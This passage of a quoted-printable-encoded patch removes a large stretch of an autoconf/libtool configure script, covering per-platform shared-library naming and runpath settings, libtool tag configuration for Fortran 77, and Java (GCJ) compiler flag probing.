library_names_spec=3D'${libname}${release}${shared_ext}$versuffix = ${libname}${release}${shared_ext}$major ${libname}${shared_ext}' - soname_spec=3D'${libname}${release}${shared_ext}$major' - dynamic_linker=3D'NetBSD ld.elf_so' - fi - shlibpath_var=3DLD_LIBRARY_PATH - shlibpath_overrides_runpath=3Dyes - hardcode_into_libs=3Dyes - ;; - -newsos6) - version_type=3Dlinux - library_names_spec=3D'${libname}${release}${shared_ext}$versuffix ${= libname}${release}${shared_ext}$major $libname${shared_ext}' - shlibpath_var=3DLD_LIBRARY_PATH - shlibpath_overrides_runpath=3Dyes - ;; - -nto-qnx*) - version_type=3Dlinux - need_lib_prefix=3Dno - need_version=3Dno - library_names_spec=3D'${libname}${release}${shared_ext}$versuffix ${= libname}${release}${shared_ext}$major $libname${shared_ext}' - soname_spec=3D'${libname}${release}${shared_ext}$major' - shlibpath_var=3DLD_LIBRARY_PATH - shlibpath_overrides_runpath=3Dyes - ;; - -openbsd*) - version_type=3Dsunos - need_lib_prefix=3Dno - need_version=3Dno - library_names_spec=3D'${libname}${release}${shared_ext}$versuffix ${= libname}${shared_ext}$versuffix' - finish_cmds=3D'PATH=3D"\$PATH:/sbin" ldconfig -m $libdir' - shlibpath_var=3DLD_LIBRARY_PATH - if test -z "`echo __ELF__ | $CC -E - | grep __ELF__`" || test "$host= _os-$host_cpu" =3D "openbsd2.8-powerpc"; then - case $host_os in - openbsd2.[89] | openbsd2.[89].*) -=09shlibpath_overrides_runpath=3Dno -=09;; - *) -=09shlibpath_overrides_runpath=3Dyes -=09;; - esac - else - shlibpath_overrides_runpath=3Dyes - fi - ;; - -os2*) - libname_spec=3D'$name' - shrext_cmds=3D".dll" - need_lib_prefix=3Dno - library_names_spec=3D'$libname${shared_ext} $libname.a' - dynamic_linker=3D'OS/2 ld.exe' - shlibpath_var=3DLIBPATH - ;; - -osf3* | osf4* | osf5*) - version_type=3Dosf - need_lib_prefix=3Dno - need_version=3Dno - soname_spec=3D'${libname}${release}${shared_ext}$major' - library_names_spec=3D'${libname}${release}${shared_ext}$versuffix ${= libname}${release}${shared_ext}$major $libname${shared_ext}' - shlibpath_var=3DLD_LIBRARY_PATH - sys_lib_search_path_spec=3D"/usr/shlib /usr/ccs/lib /usr/lib/cmplrs/= cc /usr/lib /usr/local/lib /var/shlib" - sys_lib_dlsearch_path_spec=3D"$sys_lib_search_path_spec" - ;; - -sco3.2v5*) - version_type=3Dosf - soname_spec=3D'${libname}${release}${shared_ext}$major' - library_names_spec=3D'${libname}${release}${shared_ext}$versuffix ${= libname}${release}${shared_ext}$major $libname${shared_ext}' - shlibpath_var=3DLD_LIBRARY_PATH - ;; - -solaris*) - version_type=3Dlinux - need_lib_prefix=3Dno - need_version=3Dno - library_names_spec=3D'${libname}${release}${shared_ext}$versuffix ${= libname}${release}${shared_ext}$major $libname${shared_ext}' - soname_spec=3D'${libname}${release}${shared_ext}$major' - shlibpath_var=3DLD_LIBRARY_PATH - shlibpath_overrides_runpath=3Dyes - hardcode_into_libs=3Dyes - # ldd complains unless libraries are executable - postinstall_cmds=3D'chmod +x $lib' - ;; - -sunos4*) - version_type=3Dsunos - library_names_spec=3D'${libname}${release}${shared_ext}$versuffix ${= libname}${shared_ext}$versuffix' - finish_cmds=3D'PATH=3D"\$PATH:/usr/etc" ldconfig $libdir' - shlibpath_var=3DLD_LIBRARY_PATH - shlibpath_overrides_runpath=3Dyes - if test "$with_gnu_ld" =3D yes; then - need_lib_prefix=3Dno - fi - need_version=3Dyes - ;; - -sysv4 | sysv4.2uw2* | sysv4.3* | sysv5*) - version_type=3Dlinux - library_names_spec=3D'${libname}${release}${shared_ext}$versuffix ${= libname}${release}${shared_ext}$major $libname${shared_ext}' - soname_spec=3D'${libname}${release}${shared_ext}$major' - shlibpath_var=3DLD_LIBRARY_PATH - case $host_vendor in - sni) - shlibpath_overrides_runpath=3Dno - need_lib_prefix=3Dno - export_dynamic_flag_spec=3D'${wl}-Blargedynsym' - runpath_var=3DLD_RUN_PATH - ;; - siemens) - need_lib_prefix=3Dno - ;; - motorola) - need_lib_prefix=3Dno - need_version=3Dno - shlibpath_overrides_runpath=3Dno - sys_lib_search_path_spec=3D'/lib /usr/lib /usr/ccs/lib' - ;; - esac - ;; - -sysv4*MP*) - if test -d /usr/nec ;then - version_type=3Dlinux - library_names_spec=3D'$libname${shared_ext}.$versuffix $libname${s= hared_ext}.$major $libname${shared_ext}' - soname_spec=3D'$libname${shared_ext}.$major' - shlibpath_var=3DLD_LIBRARY_PATH - fi - ;; - -uts4*) - version_type=3Dlinux - library_names_spec=3D'${libname}${release}${shared_ext}$versuffix ${= libname}${release}${shared_ext}$major $libname${shared_ext}' - soname_spec=3D'${libname}${release}${shared_ext}$major' - shlibpath_var=3DLD_LIBRARY_PATH - ;; - -*) - dynamic_linker=3Dno - ;; -esac -echo "$as_me:$LINENO: result: $dynamic_linker" >&5 -echo "${ECHO_T}$dynamic_linker" >&6 -test "$dynamic_linker" =3D no && can_build_shared=3Dno - -echo "$as_me:$LINENO: checking how to hardcode library paths into prog= rams" >&5 -echo $ECHO_N "checking how to hardcode library paths into programs... = $ECHO_C" >&6 -hardcode_action_F77=3D -if test -n "$hardcode_libdir_flag_spec_F77" || \ - test -n "$runpath_var_F77" || \ - test "X$hardcode_automatic_F77" =3D "Xyes" ; then - - # We can hardcode non-existant directories. - if test "$hardcode_direct_F77" !=3D no && - # If the only mechanism to avoid hardcoding is shlibpath_var, we - # have to relink, otherwise we might link with an installed libra= ry - # when we should be linking with a yet-to-be-installed one - ## test "$_LT_AC_TAGVAR(hardcode_shlibpath_var, F77)" !=3D no && - test "$hardcode_minus_L_F77" !=3D no; then - # Linking always hardcodes the temporary library directory. - hardcode_action_F77=3Drelink - else - # We can link without hardcoding, and we can hardcode nonexisting = dirs. - hardcode_action_F77=3Dimmediate - fi -else - # We cannot hardcode anything, or else we can only hardcode existing - # directories. - hardcode_action_F77=3Dunsupported -fi -echo "$as_me:$LINENO: result: $hardcode_action_F77" >&5 -echo "${ECHO_T}$hardcode_action_F77" >&6 - -if test "$hardcode_action_F77" =3D relink; then - # Fast installation is not supported - enable_fast_install=3Dno -elif test "$shlibpath_overrides_runpath" =3D yes || - test "$enable_shared" =3D no; then - # Fast installation is not necessary - enable_fast_install=3Dneedless -fi - -striplib=3D -old_striplib=3D -echo "$as_me:$LINENO: checking whether stripping libraries is possible= " >&5 -echo $ECHO_N "checking whether stripping libraries is possible... $ECH= O_C" >&6 -if test -n "$STRIP" && $STRIP -V 2>&1 | grep "GNU strip" >/dev/null; t= hen - test -z "$old_striplib" && old_striplib=3D"$STRIP --strip-debug" - test -z "$striplib" && striplib=3D"$STRIP --strip-unneeded" - echo "$as_me:$LINENO: result: yes" >&5 -echo "${ECHO_T}yes" >&6 -else -# FIXME - insert some real tests, host_os isn't really good enough - case $host_os in - darwin*) - if test -n "$STRIP" ; then - striplib=3D"$STRIP -x" - echo "$as_me:$LINENO: result: yes" >&5 -echo "${ECHO_T}yes" >&6 - else - echo "$as_me:$LINENO: result: no" >&5 -echo "${ECHO_T}no" >&6 -fi - ;; - *) - echo "$as_me:$LINENO: result: no" >&5 -echo "${ECHO_T}no" >&6 - ;; - esac -fi - - - -# The else clause should only fire when bootstrapping the -# libtool distribution, otherwise you forgot to ship ltmain.sh -# with your package, and you will get complaints that there are -# no rules to generate ltmain.sh. -if test -f "$ltmain"; then - # See if we are running on zsh, and set the options which allow our = commands through - # without removal of \ escapes. - if test -n "${ZSH_VERSION+set}" ; then - setopt NO_GLOB_SUBST - fi - # Now quote all the things that may contain metacharacters while bei= ng - # careful not to overquote the AC_SUBSTed values. We take copies of= the - # variables and quote the copies for generation of the libtool scrip= t. - for var in echo old_CC old_CFLAGS AR AR_FLAGS AS EGREP RANLIB LN_S L= TCC NM \ - SED SHELL STRIP \ - libname_spec library_names_spec soname_spec extract_expsyms_cmds \ - old_striplib striplib file_magic_cmd finish_cmds finish_eval \ - deplibs_check_method reload_flag reload_cmds need_locks \ - lt_cv_sys_global_symbol_pipe lt_cv_sys_global_symbol_to_cdecl \ - lt_cv_sys_global_symbol_to_c_name_address \ - sys_lib_search_path_spec sys_lib_dlsearch_path_spec \ - old_postinstall_cmds old_postuninstall_cmds \ - compiler_F77 \ - CC_F77 \ - LD_F77 \ - lt_prog_compiler_wl_F77 \ - lt_prog_compiler_pic_F77 \ - lt_prog_compiler_static_F77 \ - lt_prog_compiler_no_builtin_flag_F77 \ - export_dynamic_flag_spec_F77 \ - thread_safe_flag_spec_F77 \ - whole_archive_flag_spec_F77 \ - enable_shared_with_static_runtimes_F77 \ - old_archive_cmds_F77 \ - old_archive_from_new_cmds_F77 \ - predep_objects_F77 \ - postdep_objects_F77 \ - predeps_F77 \ - postdeps_F77 \ - compiler_lib_search_path_F77 \ - archive_cmds_F77 \ - archive_expsym_cmds_F77 \ - postinstall_cmds_F77 \ - postuninstall_cmds_F77 \ - old_archive_from_expsyms_cmds_F77 \ - allow_undefined_flag_F77 \ - no_undefined_flag_F77 \ - export_symbols_cmds_F77 \ - hardcode_libdir_flag_spec_F77 \ - hardcode_libdir_flag_spec_ld_F77 \ - hardcode_libdir_separator_F77 \ - hardcode_automatic_F77 \ - module_cmds_F77 \ - module_expsym_cmds_F77 \ - lt_cv_prog_compiler_c_o_F77 \ - exclude_expsyms_F77 \ - include_expsyms_F77; do - - case $var in - old_archive_cmds_F77 | \ - old_archive_from_new_cmds_F77 | \ - archive_cmds_F77 | \ - archive_expsym_cmds_F77 | \ - module_cmds_F77 | \ - module_expsym_cmds_F77 | \ - old_archive_from_expsyms_cmds_F77 | \ - export_symbols_cmds_F77 | \ - extract_expsyms_cmds | reload_cmds | finish_cmds | \ - postinstall_cmds | postuninstall_cmds | \ - old_postinstall_cmds | old_postuninstall_cmds | \ - sys_lib_search_path_spec | sys_lib_dlsearch_path_spec) - # Double-quote double-evaled strings. - eval "lt_$var=3D\\\"\`\$echo \"X\$$var\" | \$Xsed -e \"\$double_= quote_subst\" -e \"\$sed_quote_subst\" -e \"\$delay_variable_subst\"\`\= \\"" - ;; - *) - eval "lt_$var=3D\\\"\`\$echo \"X\$$var\" | \$Xsed -e \"\$sed_quo= te_subst\"\`\\\"" - ;; - esac - done - - case $lt_echo in - *'\$0 --fallback-echo"') - lt_echo=3D`$echo "X$lt_echo" | $Xsed -e 's/\\\\\\\$0 --fallback-ec= ho"$/$0 --fallback-echo"/'` - ;; - esac - -cfgfile=3D"$ofile" - - cat <<__EOF__ >> "$cfgfile" -# ### BEGIN LIBTOOL TAG CONFIG: $tagname - -# Libtool was configured on host `(hostname || uname -n) 2>/dev/null |= sed 1q`: - -# Shell to use when invoking shell scripts. -SHELL=3D$lt_SHELL - -# Whether or not to build shared libraries. -build_libtool_libs=3D$enable_shared - -# Whether or not to build static libraries. -build_old_libs=3D$enable_static - -# Whether or not to add -lc for building shared libraries. -build_libtool_need_lc=3D$archive_cmds_need_lc_F77 - -# Whether or not to disallow shared libs when runtime libs are static -allow_libtool_libs_with_static_runtimes=3D$enable_shared_with_static_r= untimes_F77 - -# Whether or not to optimize for fast installation. -fast_install=3D$enable_fast_install - -# The host system. -host_alias=3D$host_alias -host=3D$host - -# An echo program that does not interpret backslashes. -echo=3D$lt_echo - -# The archiver. -AR=3D$lt_AR -AR_FLAGS=3D$lt_AR_FLAGS - -# A C compiler. -LTCC=3D$lt_LTCC - -# A language-specific compiler. -CC=3D$lt_compiler_F77 - -# Is the compiler the GNU C compiler? -with_gcc=3D$GCC_F77 - -# An ERE matcher. -EGREP=3D$lt_EGREP - -# The linker used to build libraries. -LD=3D$lt_LD_F77 - -# Whether we need hard or soft links. -LN_S=3D$lt_LN_S - -# A BSD-compatible nm program. -NM=3D$lt_NM - -# A symbol stripping program -STRIP=3D$lt_STRIP - -# Used to examine libraries when file_magic_cmd begins "file" -MAGIC_CMD=3D$MAGIC_CMD - -# Used on cygwin: DLL creation program. -DLLTOOL=3D"$DLLTOOL" - -# Used on cygwin: object dumper. -OBJDUMP=3D"$OBJDUMP" - -# Used on cygwin: assembler. -AS=3D$lt_AS - -# The name of the directory that contains temporary libtool files. -objdir=3D$objdir - -# How to create reloadable object files. -reload_flag=3D$lt_reload_flag -reload_cmds=3D$lt_reload_cmds - -# How to pass a linker flag through the compiler. -wl=3D$lt_lt_prog_compiler_wl_F77 - -# Object file suffix (normally "o"). -objext=3D"$ac_objext" - -# Old archive suffix (normally "a"). -libext=3D"$libext" - -# Shared library suffix (normally ".so"). -shrext_cmds=3D'$shrext_cmds' - -# Executable file suffix (normally ""). -exeext=3D"$exeext" - -# Additional compiler flags for building library objects. -pic_flag=3D$lt_lt_prog_compiler_pic_F77 -pic_mode=3D$pic_mode - -# What is the maximum length of a command? -max_cmd_len=3D$lt_cv_sys_max_cmd_len - -# Does compiler simultaneously support -c and -o options? -compiler_c_o=3D$lt_lt_cv_prog_compiler_c_o_F77 - -# Must we lock files when doing compilation ? -need_locks=3D$lt_need_locks - -# Do we need the lib prefix for modules? -need_lib_prefix=3D$need_lib_prefix - -# Do we need a version for libraries? -need_version=3D$need_version - -# Whether dlopen is supported. -dlopen_support=3D$enable_dlopen - -# Whether dlopen of programs is supported. -dlopen_self=3D$enable_dlopen_self - -# Whether dlopen of statically linked programs is supported. -dlopen_self_static=3D$enable_dlopen_self_static - -# Compiler flag to prevent dynamic linking. -link_static_flag=3D$lt_lt_prog_compiler_static_F77 - -# Compiler flag to turn off builtin functions. -no_builtin_flag=3D$lt_lt_prog_compiler_no_builtin_flag_F77 - -# Compiler flag to allow reflexive dlopens. -export_dynamic_flag_spec=3D$lt_export_dynamic_flag_spec_F77 - -# Compiler flag to generate shared objects directly from archives. -whole_archive_flag_spec=3D$lt_whole_archive_flag_spec_F77 - -# Compiler flag to generate thread-safe objects. -thread_safe_flag_spec=3D$lt_thread_safe_flag_spec_F77 - -# Library versioning type. -version_type=3D$version_type - -# Format of library name prefix. -libname_spec=3D$lt_libname_spec - -# List of archive names. First name is the real one, the rest are lin= ks. -# The last name is the one that the linker finds with -lNAME. -library_names_spec=3D$lt_library_names_spec - -# The coded name of the library, if different from the real name. -soname_spec=3D$lt_soname_spec - -# Commands used to build and install an old-style archive. -RANLIB=3D$lt_RANLIB -old_archive_cmds=3D$lt_old_archive_cmds_F77 -old_postinstall_cmds=3D$lt_old_postinstall_cmds -old_postuninstall_cmds=3D$lt_old_postuninstall_cmds - -# Create an old-style archive from a shared archive. -old_archive_from_new_cmds=3D$lt_old_archive_from_new_cmds_F77 - -# Create a temporary old-style archive to link instead of a shared arc= hive. -old_archive_from_expsyms_cmds=3D$lt_old_archive_from_expsyms_cmds_F77 - -# Commands used to build and install a shared archive. -archive_cmds=3D$lt_archive_cmds_F77 -archive_expsym_cmds=3D$lt_archive_expsym_cmds_F77 -postinstall_cmds=3D$lt_postinstall_cmds -postuninstall_cmds=3D$lt_postuninstall_cmds - -# Commands used to build a loadable module (assumed same as above if e= mpty) -module_cmds=3D$lt_module_cmds_F77 -module_expsym_cmds=3D$lt_module_expsym_cmds_F77 - -# Commands to strip libraries. -old_striplib=3D$lt_old_striplib -striplib=3D$lt_striplib - -# Dependencies to place before the objects being linked to create a -# shared library. -predep_objects=3D$lt_predep_objects_F77 - -# Dependencies to place after the objects being linked to create a -# shared library. -postdep_objects=3D$lt_postdep_objects_F77 - -# Dependencies to place before the objects being linked to create a -# shared library. -predeps=3D$lt_predeps_F77 - -# Dependencies to place after the objects being linked to create a -# shared library. -postdeps=3D$lt_postdeps_F77 - -# The library search path used internally by the compiler when linking -# a shared library. -compiler_lib_search_path=3D$lt_compiler_lib_search_path_F77 - -# Method to check whether dependent libraries are shared objects. -deplibs_check_method=3D$lt_deplibs_check_method - -# Command to use when deplibs_check_method =3D=3D file_magic. -file_magic_cmd=3D$lt_file_magic_cmd - -# Flag that allows shared libraries with undefined symbols to be built= . -allow_undefined_flag=3D$lt_allow_undefined_flag_F77 - -# Flag that forces no undefined symbols. -no_undefined_flag=3D$lt_no_undefined_flag_F77 - -# Commands used to finish a libtool library installation in a director= y. -finish_cmds=3D$lt_finish_cmds - -# Same as above, but a single script fragment to be evaled but not sho= wn. -finish_eval=3D$lt_finish_eval - -# Take the output of nm and produce a listing of raw symbols and C nam= es. -global_symbol_pipe=3D$lt_lt_cv_sys_global_symbol_pipe - -# Transform the output of nm in a proper C declaration -global_symbol_to_cdecl=3D$lt_lt_cv_sys_global_symbol_to_cdecl - -# Transform the output of nm in a C name address pair -global_symbol_to_c_name_address=3D$lt_lt_cv_sys_global_symbol_to_c_nam= e_address - -# This is the shared library runtime path variable. -runpath_var=3D$runpath_var - -# This is the shared library path variable. -shlibpath_var=3D$shlibpath_var - -# Is shlibpath searched before the hard-coded library search path? -shlibpath_overrides_runpath=3D$shlibpath_overrides_runpath - -# How to hardcode a shared library path into an executable. -hardcode_action=3D$hardcode_action_F77 - -# Whether we should hardcode library paths into libraries. -hardcode_into_libs=3D$hardcode_into_libs - -# Flag to hardcode \$libdir into a binary during linking. -# This must work even if \$libdir does not exist. -hardcode_libdir_flag_spec=3D$lt_hardcode_libdir_flag_spec_F77 - -# If ld is used when linking, flag to hardcode \$libdir into -# a binary during linking. This must work even if \$libdir does -# not exist. -hardcode_libdir_flag_spec_ld=3D$lt_hardcode_libdir_flag_spec_ld_F77 - -# Whether we need a single -rpath flag with a separated argument. -hardcode_libdir_separator=3D$lt_hardcode_libdir_separator_F77 - -# Set to yes if using DIR/libNAME${shared_ext} during linking hardcode= s DIR into the -# resulting binary. -hardcode_direct=3D$hardcode_direct_F77 - -# Set to yes if using the -LDIR flag during linking hardcodes DIR into= the -# resulting binary. -hardcode_minus_L=3D$hardcode_minus_L_F77 - -# Set to yes if using SHLIBPATH_VAR=3DDIR during linking hardcodes DIR= into -# the resulting binary. -hardcode_shlibpath_var=3D$hardcode_shlibpath_var_F77 - -# Set to yes if building a shared library automatically hardcodes DIR = into the library -# and all subsequent libraries and executables linked against it. -hardcode_automatic=3D$hardcode_automatic_F77 - -# Variables whose values should be saved in libtool wrapper scripts an= d -# restored at relink time. -variables_saved_for_relink=3D"$variables_saved_for_relink" - -# Whether libtool must link a program against all its dependency libra= ries. -link_all_deplibs=3D$link_all_deplibs_F77 - -# Compile-time system search path for libraries -sys_lib_search_path_spec=3D$lt_sys_lib_search_path_spec - -# Run-time system search path for libraries -sys_lib_dlsearch_path_spec=3D$lt_sys_lib_dlsearch_path_spec - -# Fix the shell variable \$srcfile for the compiler. -fix_srcfile_path=3D"$fix_srcfile_path_F77" - -# Set to yes if exported symbols are required. -always_export_symbols=3D$always_export_symbols_F77 - -# The commands to list exported symbols. -export_symbols_cmds=3D$lt_export_symbols_cmds_F77 - -# The commands to extract the exported symbol list from a shared archi= ve. -extract_expsyms_cmds=3D$lt_extract_expsyms_cmds - -# Symbols that should not be listed in the preloaded symbols. -exclude_expsyms=3D$lt_exclude_expsyms_F77 - -# Symbols that must always be exported. -include_expsyms=3D$lt_include_expsyms_F77 - -# ### END LIBTOOL TAG CONFIG: $tagname - -__EOF__ - - -else - # If there is no Makefile yet, we rely on a make rule to execute - # `config.status --recheck' to rerun these tests and create the - # libtool script then. - ltmain_in=3D`echo $ltmain | sed -e 's/\.sh$/.in/'` - if test -f "$ltmain_in"; then - test -f Makefile && make "$ltmain" - fi -fi - - -ac_ext=3Dc -ac_cpp=3D'$CPP $CPPFLAGS' -ac_compile=3D'$CC -c $CFLAGS $CPPFLAGS conftest.$ac_ext >&5' -ac_link=3D'$CC -o conftest$ac_exeext $CFLAGS $CPPFLAGS $LDFLAGS confte= st.$ac_ext $LIBS >&5' -ac_compiler_gnu=3D$ac_cv_c_compiler_gnu - -CC=3D"$lt_save_CC" - -=09else -=09 tagname=3D"" -=09fi -=09;; - - GCJ) -=09if test -n "$GCJ" && test "X$GCJ" !=3D "Xno"; then - - - -# Source file extension for Java test sources. -ac_ext=3Djava - -# Object file extension for compiled Java test sources. -objext=3Do -objext_GCJ=3D$objext - -# Code to be used in simple compile tests -lt_simple_compile_test_code=3D"class foo {}\n" - -# Code to be used in simple link tests -lt_simple_link_test_code=3D'public class conftest { public static void= main(String argv) {}; }\n' - -# ltmain only uses $CC for tagged configurations so make sure $CC is s= et. - -# If no C compiler was specified, use CC. -LTCC=3D${LTCC-"$CC"} - -# Allow CC to be a program name with arguments. -compiler=3D$CC - - -# Allow CC to be a program name with arguments. -lt_save_CC=3D"$CC" -CC=3D${GCJ-"gcj"} -compiler=3D$CC -compiler_GCJ=3D$CC - -# GCJ did not exist at the time GCC didn't implicitly link libc in. -archive_cmds_need_lc_GCJ=3Dno - - -lt_prog_compiler_no_builtin_flag_GCJ=3D - -if test "$GCC" =3D yes; then - lt_prog_compiler_no_builtin_flag_GCJ=3D' -fno-builtin' - - -echo "$as_me:$LINENO: checking if $compiler supports -fno-rtti -fno-ex= ceptions" >&5 -echo $ECHO_N "checking if $compiler supports -fno-rtti -fno-exceptions= ... $ECHO_C" >&6 -if test "${lt_cv_prog_compiler_rtti_exceptions+set}" =3D set; then - echo $ECHO_N "(cached) $ECHO_C" >&6 -else - lt_cv_prog_compiler_rtti_exceptions=3Dno - ac_outfile=3Dconftest.$ac_objext - printf "$lt_simple_compile_test_code" > conftest.$ac_ext - lt_compiler_flag=3D"-fno-rtti -fno-exceptions" - # Insert the option either (1) after the last *FLAGS variable, or - # (2) before a word containing "conftest.", or (3) at the end. - # Note that $ac_compile itself does not contain backslashes and beg= ins - # with a dollar sign (not a hyphen), so the echo should work correc= tly. - # The option is referenced via a variable to avoid confusing sed. - lt_compile=3D`echo "$ac_compile" | $SED \ - -e 's:.*FLAGS}? :&$lt_compiler_flag :; t' \ - -e 's: [^ ]*conftest\.: $lt_compiler_flag&:; t' \ - -e 's:$: $lt_compiler_flag:'` - (eval echo "\"\$as_me:15505: $lt_compile\"" >&5) - (eval "$lt_compile" 2>conftest.err) - ac_status=3D$? - cat conftest.err >&5 - echo "$as_me:15509: \$? =3D $ac_status" >&5 - if (exit $ac_status) && test -s "$ac_outfile"; then - # The compiler can only warn and ignore the option if not recogni= zed - # So say no if there are warnings - if test ! -s conftest.err; then - lt_cv_prog_compiler_rtti_exceptions=3Dyes - fi - fi - $rm conftest* - -fi -echo "$as_me:$LINENO: result: $lt_cv_prog_compiler_rtti_exceptions" >&= 5 -echo "${ECHO_T}$lt_cv_prog_compiler_rtti_exceptions" >&6 - -if test x"$lt_cv_prog_compiler_rtti_exceptions" =3D xyes; then - lt_prog_compiler_no_builtin_flag_GCJ=3D"$lt_prog_compiler_no_built= in_flag_GCJ -fno-rtti -fno-exceptions" -else - : -fi - -fi - -lt_prog_compiler_wl_GCJ=3D -lt_prog_compiler_pic_GCJ=3D -lt_prog_compiler_static_GCJ=3D - -echo "$as_me:$LINENO: checking for $compiler option to produce PIC" >&= 5 -echo $ECHO_N "checking for $compiler option to produce PIC... $ECHO_C"= >&6 - - if test "$GCC" =3D yes; then - lt_prog_compiler_wl_GCJ=3D'-Wl,' - lt_prog_compiler_static_GCJ=3D'-static' - - case $host_os in - aix*) - # All AIX code is PIC. - if test "$host_cpu" =3D ia64; then -=09# AIX 5 now supports IA64 processor -=09lt_prog_compiler_static_GCJ=3D'-Bstatic' - fi - ;; - - amigaos*) - # FIXME: we need at least 68020 code to build shared libraries, = but - # adding the `-m68020' flag to GCC prevents building anything be= tter, - # like `-m68040'. - lt_prog_compiler_pic_GCJ=3D'-m68020 -resident32 -malways-restore= -a4' - ;; - - beos* | cygwin* | irix5* | irix6* | nonstopux* | osf3* | osf4* | o= sf5*) - # PIC is the default for these OSes. - ;; - - mingw* | pw32* | os2*) - # This hack is so that the source file can tell whether it is be= ing - # built for inclusion in a dll (and should export symbols for ex= ample). - lt_prog_compiler_pic_GCJ=3D'-DDLL_EXPORT' - ;; - - darwin* | rhapsody*) - # PIC is the default on this platform - # Common symbols not allowed in MH_DYLIB files - lt_prog_compiler_pic_GCJ=3D'-fno-common' - ;; - - msdosdjgpp*) - # Just because we use GCC doesn't mean we suddenly get shared li= braries - # on systems that don't support them. - lt_prog_compiler_can_build_shared_GCJ=3Dno - enable_shared=3Dno - ;; - - sysv4*MP*) - if test -d /usr/nec; then -=09lt_prog_compiler_pic_GCJ=3D-Kconform_pic - fi - ;; - - hpux*) - # PIC is the default for IA64 HP-UX and 64-bit HP-UX, but - # not for PA HP-UX. - case "$host_cpu" in - hppa*64*|ia64*) -=09# +Z the default -=09;; - *) -=09lt_prog_compiler_pic_GCJ=3D'-fPIC' -=09;; - esac - ;; - - *) - lt_prog_compiler_pic_GCJ=3D'-fPIC' - ;; - esac - else - # PORTME Check for flag to pass linker flags through the system co= mpiler. - case $host_os in - aix*) - lt_prog_compiler_wl_GCJ=3D'-Wl,' - if test "$host_cpu" =3D ia64; then -=09# AIX 5 now supports IA64 processor -=09lt_prog_compiler_static_GCJ=3D'-Bstatic' - else -=09lt_prog_compiler_static_GCJ=3D'-bnso -bI:/lib/syscalls.exp' - fi - ;; - darwin*) - # PIC is the default on this platform - # Common symbols not allowed in MH_DYLIB files - case "$cc_basename" in - xlc*) - lt_prog_compiler_pic_GCJ=3D'-qnocommon' - lt_prog_compiler_wl_GCJ=3D'-Wl,' - ;; - esac - ;; - - mingw* | pw32* | os2*) - # This hack is so that the source file can tell whether it is be= ing - # built for inclusion in a dll (and should export symbols for ex= ample). - lt_prog_compiler_pic_GCJ=3D'-DDLL_EXPORT' - ;; - - hpux9* | hpux10* | hpux11*) - lt_prog_compiler_wl_GCJ=3D'-Wl,' - # PIC is the default for IA64 HP-UX and 64-bit HP-UX, but - # not for PA HP-UX. - case "$host_cpu" in - hppa*64*|ia64*) -=09# +Z the default -=09;; - *) -=09lt_prog_compiler_pic_GCJ=3D'+Z' -=09;; - esac - # Is there a better lt_prog_compiler_static that works with the = bundled CC? - lt_prog_compiler_static_GCJ=3D'${wl}-a ${wl}archive' - ;; - - irix5* | irix6* | nonstopux*) - lt_prog_compiler_wl_GCJ=3D'-Wl,' - # PIC (with -KPIC) is the default. - lt_prog_compiler_static_GCJ=3D'-non_shared' - ;; - - newsos6) - lt_prog_compiler_pic_GCJ=3D'-KPIC' - lt_prog_compiler_static_GCJ=3D'-Bstatic' - ;; - - linux*) - case $CC in - icc* | ecc*) -=09lt_prog_compiler_wl_GCJ=3D'-Wl,' -=09lt_prog_compiler_pic_GCJ=3D'-KPIC' -=09lt_prog_compiler_static_GCJ=3D'-static' - ;; - ccc*) - lt_prog_compiler_wl_GCJ=3D'-Wl,' - # All Alpha code is PIC. - lt_prog_compiler_static_GCJ=3D'-non_shared' - ;; - esac - ;; - - osf3* | osf4* | osf5*) - lt_prog_compiler_wl_GCJ=3D'-Wl,' - # All OSF/1 code is PIC. - lt_prog_compiler_static_GCJ=3D'-non_shared' - ;; - - sco3.2v5*) - lt_prog_compiler_pic_GCJ=3D'-Kpic' - lt_prog_compiler_static_GCJ=3D'-dn' - ;; - - solaris*) - lt_prog_compiler_wl_GCJ=3D'-Wl,' - lt_prog_compiler_pic_GCJ=3D'-KPIC' - lt_prog_compiler_static_GCJ=3D'-Bstatic' - ;; - - sunos4*) - lt_prog_compiler_wl_GCJ=3D'-Qoption ld ' - lt_prog_compiler_pic_GCJ=3D'-PIC' - lt_prog_compiler_static_GCJ=3D'-Bstatic' - ;; - - sysv4 | sysv4.2uw2* | sysv4.3* | sysv5*) - lt_prog_compiler_wl_GCJ=3D'-Wl,' - lt_prog_compiler_pic_GCJ=3D'-KPIC' - lt_prog_compiler_static_GCJ=3D'-Bstatic' - ;; - - sysv4*MP*) - if test -d /usr/nec ;then -=09lt_prog_compiler_pic_GCJ=3D'-Kconform_pic' -=09lt_prog_compiler_static_GCJ=3D'-Bstatic' - fi - ;; - - uts4*) - lt_prog_compiler_pic_GCJ=3D'-pic' - lt_prog_compiler_static_GCJ=3D'-Bstatic' - ;; - - *) - lt_prog_compiler_can_build_shared_GCJ=3Dno - ;; - esac - fi - -echo "$as_me:$LINENO: result: $lt_prog_compiler_pic_GCJ" >&5 -echo "${ECHO_T}$lt_prog_compiler_pic_GCJ" >&6 - -# -# Check to make sure the PIC flag actually works. -# -if test -n "$lt_prog_compiler_pic_GCJ"; then - -echo "$as_me:$LINENO: checking if $compiler PIC flag $lt_prog_compiler= _pic_GCJ works" >&5 -echo $ECHO_N "checking if $compiler PIC flag $lt_prog_compiler_pic_GCJ= works... $ECHO_C" >&6 -if test "${lt_prog_compiler_pic_works_GCJ+set}" =3D set; then - echo $ECHO_N "(cached) $ECHO_C" >&6 -else - lt_prog_compiler_pic_works_GCJ=3Dno - ac_outfile=3Dconftest.$ac_objext - printf "$lt_simple_compile_test_code" > conftest.$ac_ext - lt_compiler_flag=3D"$lt_prog_compiler_pic_GCJ" - # Insert the option either (1) after the last *FLAGS variable, or - # (2) before a word containing "conftest.", or (3) at the end. - # Note that $ac_compile itself does not contain backslashes and beg= ins - # with a dollar sign (not a hyphen), so the echo should work correc= tly. - # The option is referenced via a variable to avoid confusing sed. - lt_compile=3D`echo "$ac_compile" | $SED \ - -e 's:.*FLAGS}? :&$lt_compiler_flag :; t' \ - -e 's: [^ ]*conftest\.: $lt_compiler_flag&:; t' \ - -e 's:$: $lt_compiler_flag:'` - (eval echo "\"\$as_me:15748: $lt_compile\"" >&5) - (eval "$lt_compile" 2>conftest.err) - ac_status=3D$? - cat conftest.err >&5 - echo "$as_me:15752: \$? =3D $ac_status" >&5 - if (exit $ac_status) && test -s "$ac_outfile"; then - # The compiler can only warn and ignore the option if not recogni= zed - # So say no if there are warnings - if test ! -s conftest.err; then - lt_prog_compiler_pic_works_GCJ=3Dyes - fi - fi - $rm conftest* - -fi -echo 